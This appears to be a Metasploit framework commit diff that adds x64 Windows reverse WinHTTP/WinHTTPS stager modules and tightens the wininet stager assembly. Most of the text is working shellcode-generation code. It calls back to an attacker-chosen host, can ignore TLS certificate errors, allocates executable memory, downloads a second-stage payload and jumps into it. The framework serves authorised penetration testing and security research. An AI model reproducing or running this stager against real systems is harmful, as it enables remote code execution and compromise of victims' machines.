+281,8 @@ module Payload::Windows::ReverseHttp_x64 pop r9 mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) ; TODO: Without these pushes, things crashed. Not sure why. - push 0 ; alignment - push 0 ; alignment + push rbx ; 0 for alignment + push rbx ; 0 for alignment call rbp ^ end @@ -297,8 +301,8 @@ module Payload::Windows::ReverseHttp_x64 pop r9 mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) ; TODO: Without these pushes, things crashed. Not sure why. - push 0 ; alignment - push 0 ; alignment + push rbx ; 0 for alignment + push rbx ; 0 for alignment call rbp ^ end @@ -318,9 +322,11 @@ module Payload::Windows::ReverseHttp_x64 httpopenrequest: pop r8 ; String (lpszObjectName) mov rcx, rax ; HINTERNET (hConnect) - xor rdx, rdx ; NULL pointer (lpszVerb) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rdx ; NULL pointer (lpszVerb) xor r9, r9 ; String (lpszVersion) - push 0 ; 0 (dwContext) + push rbx ; 0 (dwContext) ; TODO: figure out what's going on here (get help from HD?) ; Having to use mov + push instead of push qword because ; Metasm doesn't seem to like it. Plain 'push' doesn't work @@ -328,8 +334,8 @@ module Payload::Windows::ReverseHttp_x64 ;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags) mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags) push r10 - push 0 ; NULL pointer (lplpszAcceptTypes) - push 0 ; NULL pointer (lpszReferer) + push rbx ; NULL pointer (lplpszAcceptTypes) + push rbx ; NULL pointer (lpszReferer) mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call rbp mov rsi, rax ; Store the request handle in RSI @@ -347,7 +353,7 @@ module Payload::Windows::ReverseHttp_x64 mov rcx, rsi ; (hInternet) push 31 ; INTERNET_OPTION_SECURITY_FLAGS pop rdx - push 0 ; alignment + push rbx ; 0 for alignment push #{set_option_flags} ; (dwFlags) mov r8, rsp push 4 ; sizeof(dwFlags) @@ -360,18 +366,20 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ httpsendrequest: mov rcx, rsi ; HINTERNET (hRequest) - xor rdx, rdx ; NULL pointer (lpszHeaders) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rdx ; NULL pointer (lpszHeaders) xor r8, r8 ; 0 (dwHeadersLength) xor r9, r9 ; NULL pointer (lpOptional) - push 0 ; alignment - push 0 ; 0 (dwOptionalLength) + push rbx ; 0 for alignment + push rbx ; 0 (dwOptionalLength) mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call rbp - test rax,rax + test eax, eax ; use eax, it's 1 byte less than rax jnz allocate_memory try_it_again: - dec rdi + dec edi ; use edi, it's 1 byte less than rdi jz failure jmp retry ^ @@ -391,10 +399,13 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ allocate_memory: - xor rcx, rcx ; NULL pointer (lpAddress) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rcx ; NULL pointer (lpAddress) mov rdx, 0x00400000 ; SIZE_T (dwSize) mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) - mov r9, 0x40 ; PAGE_EXECUTE_READWRITE (flProtect) + push 0x40 + pop r9 ; PAGE_EXECUTE_READWRITE (flProtect) mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); @@ -416,10 +427,11 @@ module Payload::Windows::ReverseHttp_x64 test eax, eax ; did the download fail? jz failure - mov ax, word ptr [edi] - add rbx, rax ; buffer += lpNumberOfBytesRead + mov ax, word ptr [rdi] + ; Use ebx/eax here because we save bytes (don't need higher order 32 bits) + add ebx, eax ; buffer += lpNumberOfBytesRead - test rax, rax + test eax, eax ; use eax instead of rax, saves a byte jnz download_more ; loop until 0 is returned pop rax ; clear temp storage pop rax ; alignment diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb new file mode 100644 index 0000000000..5dc6e03db8 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -0,0 +1,477 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/reverse_winhttp' + +module Msf + +### +# +# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP +# +### + +module Payload::Windows::ReverseWinHttp_x64 + + include Msf::Payload::Windows::ReverseHttp_x64 + + # + # Generate the first stage + # + def generate(opts={}) + conf = { + :ssl => opts[:ssl] || false, + :host => datastore['LHOST'], + :port => datastore['LPORT'], + :url => generate_small_uri, + :retry_count => datastore['StagerRetryCount'] + } + + # Add extra options if we have enough space + unless self.available_space.nil? || required_space > self.available_space + conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:verify_cert_hash] = opts[:verify_cert_hash] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] + end + + generate_reverse_winhttp(conf) + end + + def transport_config(opts={}) + transport_config_reverse_http(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_winhttp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' + ; onto the stack. + #{asm_block_api} + start: + pop rbp + #{asm_reverse_winhttp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # The final estimated size + space + end + + # + # Convert a string into a NULL-terminated wchar byte array + # + def asm_generate_wchar_array(str) + (str.to_s + "\x00"). + unpack("C*"). + pack("v*"). + unpack("C*"). + map{ |c| "0x%.2x" % c }. + join(",") + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up + # + def asm_reverse_winhttp(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + verify_ssl = nil + encoded_cert_hash = nil + encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_host = asm_generate_wchar_array(opts[:host]) + + if opts[:ssl] && opts[:verify_cert_hash] + verify_ssl = true + encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") + end + + proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) + proxy_info = "" + + if proxy_enabled + if opts[:proxy_type].to_s.downcase == "socks" + proxy_info << "socks=" + else + proxy_info << "http://" + end + + proxy_info << opts[:proxy_host].to_s + if opts[:proxy_port].to_i > 0 + proxy_info << ":#{opts[:proxy_port]}" + end + + proxy_info = asm_generate_wchar_array(proxy_info) + end + + proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) + proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) + + http_open_flags = 0 + secure_flags = 0 + + if opts[:ssl] + http_open_flags = ( + 0x00800000 | # WINHTTP_FLAG_SECURE + 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE + + secure_flags = ( + 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID + 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE + 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA + else + http_open_flags = ( + 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE + end + + asm = %Q^ + ; Input: RBP must be the address of 'api_call'. + ; Clobbers: RAX, RSI, RDI, RSP will also be modified + + xor rbx, rbx + + load_winhttp: + push rbx + mov r14, 'winhttp' ; prepare the string 'winhttp' + push r14 + mov rcx, rsp ; point to the string + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; Call LoadLibraryA("winhttp") + ^ + + if verify_ssl + asm << %Q^ + load_crypt32: + push rbx + mov r14, 'crypt32' ; prepare the string 'crypt32' + push r14 + mov rcx, rsp ; point to the string + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; Call LoadLibraryA("crypt32") + ^ + end + + asm << %Q^ + WinHttpOpen: + ^ + + if proxy_enabled + asm << %Q^ + call get_proxy_server + db #{proxy_info} + get_proxy_server: + pop r8 ; stack pointer (lpszProxyName) + push 3 ; WINHTTP_ACCESS_TYPE_NAMED_PROXY 3 (dwAccessType) + pop rdx + ^ + else + asm << %Q^ + xor r8, r8 ; NULL (lpszProxyName) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; WINHTTP_ACCESS_TYPE_DEFAULT_PROXY 0 (dwAccesType) + ^ + end + + asm << %Q^ + xor r9, r9 ; NULL (lpszProxyBypass) + mov rcx, rsp ; Pointer to empty string ("") + push rbx ; 0 for alignment + push rbx ; NULL (lpszProxyBypass) + push rbx ; 0 (dwFlags) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')} + call rbp ; Call WinHttpOpen(...) + + WinHttpConnect: + call get_server_host + db #{encoded_host} + get_server_host: + pop rdx ; Stack pointer (pswzServerName) + mov rcx, rax ; hSession + mov r8, #{opts[:port]} ; nServerPort + ; r9 should still be 0 after the previous call, so we don't need + ; to clear it again + xor r9, r9 ; 0 (dwReserved) + push rbx ; 0 for alignment + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} + call rbp + + WinHttpOpenRequest: + call get_server_uri + db #{encoded_url} + get_server_uri: + pop r8 ; Stack pointer (pwszObjectName) + ; r9 should still be 0 after the previous call, so we don't need + ; to clear it again + ;xor r9, r9 ; NULL (pwszVersion) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; NULL (pwszVerb - defaults to GET) + mov rcx, rax ; returned by WinHttpConnect (hConnect) + push 0x#{http_open_flags.to_s(16)} ; (dwFlags) + push rbx ; NULL (ppwszAcceptTypes) + push rbx ; NULL (pwszReferer) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} + call rbp + xchg rsi, rax ; save HttpRequest handle in rsi + ^ + + if proxy_enabled && proxy_user + asm << %Q^ + set_up_proxy_config: + push rbx ; pAuthParams (NULL) + ^ + + if proxy_pass + asm << %Q^ + call got_proxy_pass ; put proxy_pass on the stack + proxy_pass: + db #{proxy_pass} + got_proxy_pass: + ; pwszPassword now on the stack + ^ + else + asm << %Q^ + push rbx ; pwszPassword (NULL) + ^ + end + + asm << %Q^ + call got_proxy_user ; put proxy user on the stack + proxy_user: + db #{proxy_user} + got_proxy_user: + pop r9 ; Get proxy user (pwszUserName) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; rdx is now 0 + inc edx ; WINHTTP_AUTH_TARGET_PROXY = 1 (dwAuthSceme) + mov r8, rdx ; WINHTTP_AUTH_SCHEME_BASIC = 1 (dwAuthTargets) + mov rcx, rsi ; Request handle (hRequest) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')} + call rbp + ^ + end + + if opts[:ssl] + asm << %Q^ + set_security_options: + mov rcx, rsi ; Handle for request (hConnect) + push 31 + pop rdx ; WINHTTP_OPTION_SECURITY_FLAGS (dwOption) + push 0x#{secure_flags.to_s(16)} + mov r8, rsp ; Pointer to flags (lpBuffer) + push 4 + pop r9 ; 4 (dwBufferLength) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} + call rbp + test eax, eax ; use eax, it's 1 byte less than rax + jz failure + ^ + end + + asm << %Q^ + ; Store our retry counter in the rdi register + set_retry: + push #{retry_count} + pop rdi + + send_request: + + WinHttpSendRequest: + mov rcx, rsi ; Request handle (hRequest) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; NULL (pwszHeaders) + xor r8, r8 ; 0 (dwHeadersLength) + xor r9, r9 ; NULL (lpOptional) + push rbx ; push 0 (dwContext) + push rbx ; push 0 (dwTotalLength) + push rbx ; push 0 (dwOptionalLength) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} + call rbp + test eax, eax ; use eax, it's 1 byte less than rax + jnz check_response ; if TRUE call WinHttpReceiveResponse API + + try_it_again: + dec edi ; use edi, it's 1 byte less than rdi + jnz send_request + + ; if we didn't allocate before running out of retries, fall through + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + # Jump target if the request was sent successfully + asm << %Q^ + check_response: + ^ + + # Verify the SSL certificate hash + if verify_ssl + asm << %Q^ + ssl_cert_get_context: + mov rcx, rsi ; Request handle (hInternet) + push 78 ; WINHTTP_OPTION_SERVER_CERT_CONTEXT + pop rdx ; (dwOption) + ; Thanks to things that are on the stack from previous calls, we don't need to + ; worry about adding something to the stack to have space for the cert pointer, + ; so we won't worry about doing it, it'll save us bytes! + mov r8, rsp ; Stack pointer (lpBuffer) + push 8 ; One whole pointer + mov r9, rsp ; Stack pointer (lpdwBufferLength) + push rbx ; 0 for alignment + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')} + call rbp + test eax, eax ; use eax instead of rax, saves a byte + jz failure ; Bail out if we couldn't get the certificate context + + ssl_cert_get_server_hash: + mov rcx, [r9] ; Cert context pointer (pCertContext) + push 20 ; length of the sha1 hash + mov r9, rsp ; Address of length (pcbData) + sub rsp, [r9] ; Allocate 20 bytes for the hash output + mov r8, rsp ; 20 byte buffer (pvData) + push 3 + pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId) + ; TODO: cater for alignment? + mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')} + call rbp + test eax, eax ; use eax instead of rax, saves a byte + jz failure ; Bail out if we couldn't get the certificate context + + ssl_cert_start_verify: + call ssl_cert_compare_hashes + db #{encoded_cert_hash} + + ssl_cert_compare_hashes: + pop rsi ; get the expected hash + mov rdi, r8 ; pointer to the retrieved hash + mov rcx, [r9] ; number of bytes to compare + repe cmpsb ; do the hash comparison + jnz failure ; Bail out if the result isn't zero + + ; Our certificate hash was valid, hurray! + ^ + end + + asm << %Q^ + receive_response: + ; The API WinHttpReceiveResponse needs to be called + ; first to get a valid handle for WinHttpReadData + mov rcx, rsi ; Handle to the request (hRequest) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; NULL (lpReserved) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')} + call rbp + test eax, eax ; use eax instead of rax, saves a byte + jz failure + + allocate_memory: + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rcx ; NULL (lpAddress) + ; rdx should already be zero, so we can save two bytes by using edx here + mov edx, 0x00400000 ; 4mb for stage (dwSize) + mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) + push 0x40 ; PAGE_EXECUTE_READWRITE + pop r9 ; (flProtect) + ; TODO: cater for alignment? + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; Call VirtualAlloc(...); + + download_prep: + xchg rax, rbx ; place the allocated base address in rbx + push rbx ; store a copy of the stage base address on the stack + push rbx ; temporary storage for bytes read count + mov rdi, rsp ; &bytesRead + + download_more: + mov rcx, rsi ; Handle to the request (hFile) + mov rdx, rbx ; Buffer pointer (lpBuffer) + mov r8, 8192 ; Size (dwNumberOfBytesToRead) + mov r9, rdi ; Size received (lpNumberOfBytesRead) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} + call rbp + add rsp, 32 ; clean up reserved space + + test eax, eax ; use eax instead of rax, saves a byte + jz failure + + mov ax, word ptr [rdi] ; load the bytes read + ; Use eax/ebx here, saves a byte. Don't need higher order bytes. + add ebx, eax ; buffer += bytes_received + + test eax, eax ; use eax instead of rax, saves a byte + jnz download_more ; continue until it returns 0 + pop rax ; clear the temporary storage + pop rax ; clear the temporary storage + + execute_stage: + ret ; dive into the stored stage address + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttps.rb b/lib/msf/core/payload/windows/x64/reverse_winhttps.rb new file mode 100644 index 0000000000..59d32fb0c7 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_winhttps.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/reverse_winhttp' +require 'msf/core/payload/windows/verify_ssl' +require 'rex/payloads/meterpreter/uri_checksum' + +module Msf + +### +# +# Complex payload generation for Windows ARCH_X86_64 that speak HTTPS using WinHTTP +# +### + +module Payload::Windows::ReverseWinHttps_x64 + + include Msf::Payload::Windows::ReverseWinHttp_x64 + include Msf::Payload::Windows::VerifySsl + + # + # Register reverse_winhttps specific options + # + def initialize(*args) + super + + register_advanced_options([ + OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false]) + ], self.class) + end + + # + # Generate the first stage + # + def generate + + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + super({ + :ssl => true, + :verify_cert_hash => verify_cert_hash + }) + end + + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = super + + # SSL support adds 20 bytes + space += 20 + + # SSL verification adds 120 bytes + if datastore['StagerVerifySSLCert'] + space += 120 + end + + space + end + +end + +end + diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index a954d95fdf..138785a4da 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -16,29 +16,22 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse Hop HTTP Stager', - 'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload + 'Name' => 'Reverse Hop HTTP Stager', + 'Description' => %q{ + Tunnel communication over an HTTP hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop. }, - 'Author' => - [ + 'Author' => [ 'scriptjunkie ', 'hdm' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHopHttp, - 'Convention' => 'sockedi http', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHopHttp, + 'Convention' => 'sockedi http', 'DefaultOptions' => { 'WfsDelay' => 30 }, - 'Stager' => - { - 'Offsets' => - { - # None, they get embedded in the shellcode - } - } - )) + 'Stager' => { 'Offsets' => { } })) deregister_options('LHOST', 'LPORT') diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 576edc30f4..06d5de4f3e 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -3,12 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_http' -module Metasploit3 +module Metasploit4 CachedSize = 312 @@ -18,13 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTP Stager', - 'Description' => 'Tunnel communication over HTTP', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttp, - 'Convention' => 'sockedi http')) + 'Name' => 'Windows Reverse HTTP Stager (wininet)', + 'Description' => 'Tunnel communication over HTTP (Windows wininet)', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockedi http')) end + end diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index ea6e7ebe61..879777dbaf 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -3,13 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_https' - -module Metasploit3 +module Metasploit4 CachedSize = 332 @@ -19,14 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTP using SSL', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttps, - 'Convention' => 'sockedi https')) + 'Name' => 'Windows Reverse HTTPS Stager (wininet)', + 'Description' => 'Tunnel communication over HTTPS (Windows wininet)', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockedi https')) end end diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb index 1bcd0a9e6e..4242ac692a 100644 --- a/modules/payloads/stagers/windows/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/reverse_winhttp.rb @@ -3,13 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_winhttp' - -module Metasploit3 +module Metasploit4 CachedSize = 327 @@ -23,17 +21,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTP Stager (WinHTTP)', - 'Description' => 'Tunnel communication over HTTP (WinHTTP)', - 'Author' => - [ - 'hdm', - 'Borja Merino ' - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttp, - 'Convention' => 'sockedi http')) + 'Name' => 'Windows Reverse HTTP Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTP (Windows winhttp)', + 'Author' => [ 'hdm', 'Borja Merino ' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockedi http')) end + end diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb index ae6cce1098..18d76fc612 100644 --- a/modules/payloads/stagers/windows/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/reverse_winhttps.rb @@ -3,13 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_winhttps' - -module Metasploit3 +module Metasploit4 CachedSize = 347 @@ -23,17 +21,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTPS Stager (WinHTTP)', - 'Description' => 'Tunnel communication over HTTP using SSL (WinHTTP)', - 'Author' => - [ - 'hdm', - 'Borja Merino ' - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttps, - 'Convention' => 'sockedi https')) + 'Name' => 'Windows Reverse HTTPS Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTPS (Windows winhttp)', + 'Author' => [ 'hdm', 'Borja Merino ' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockedi https')) end + end diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 3d39dbb954..792953a378 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -4,12 +4,12 @@ ## require 'msf/core' -require 'msf/core/handler/reverse_https' +require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 513 + CachedSize = 491 include Msf::Payload::Stager include Msf::Payload::Windows @@ -17,8 +17,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse HTTP Stager', - 'Description' => 'Tunnel communication over HTTP (Windows x64)', + 'Name' => 'Windows x64 Reverse HTTP Stager (wininet)', + 'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)', 'Author' => ['OJ Reeves'], 'License' => MSF_LICENSE, 'Platform' => 'win', @@ -28,17 +28,4 @@ module Metasploit4 'Stager' => { 'Payload' => '' })) end - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end end diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index b294f1d49c..63d7a438d7 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 545 + CachedSize = 522 include Msf::Payload::Stager include Msf::Payload::Windows @@ -17,8 +17,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', + 'Name' => 'Windows x64 Reverse HTTP Stager (wininet)', + 'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)', 'Author' => [ 'hdm', 'agix', 'rwincey' ], 'License' => MSF_LICENSE, 'Platform' => 'win', @@ -28,17 +28,4 @@ module Metasploit4 'Stager' => { 'Payload' => '' })) end - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end end diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb new file mode 100644 index 0000000000..d600a9e4d1 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -0,0 +1,34 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/windows/x64/reverse_winhttp' + +module Metasploit4 + + CachedSize = 502 + + include Msf::Payload::Stager + include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseWinHttp_x64 + + def self.handler_type_alias + "reverse_winhttp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse HTTP Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTP (Windows x64 winhttp)', + 'Author' => [ 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockrdi http', + 'Stager' => { 'Payload' => '' })) + end +end diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb new file mode 100644 index 0000000000..c702195c6b --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -0,0 +1,35 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/windows/x64/reverse_winhttps' + +module Metasploit4 + + CachedSize = 347 + + include Msf::Payload::Stager + include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseWinHttps_x64 + + def self.handler_type_alias + "reverse_winhttps" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse HTTPS Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTPS (Windows x64 winhttp)', + 'Author' => [ 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockrdi https', + 'Stager' => { 'Payload' => '' })) + end + +end From d9068b7719ea70eb199be5c8c7f46970a2f26f73 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 May 2015 17:43:51 +1000 Subject: [PATCH 12/27] Fix up payload cache 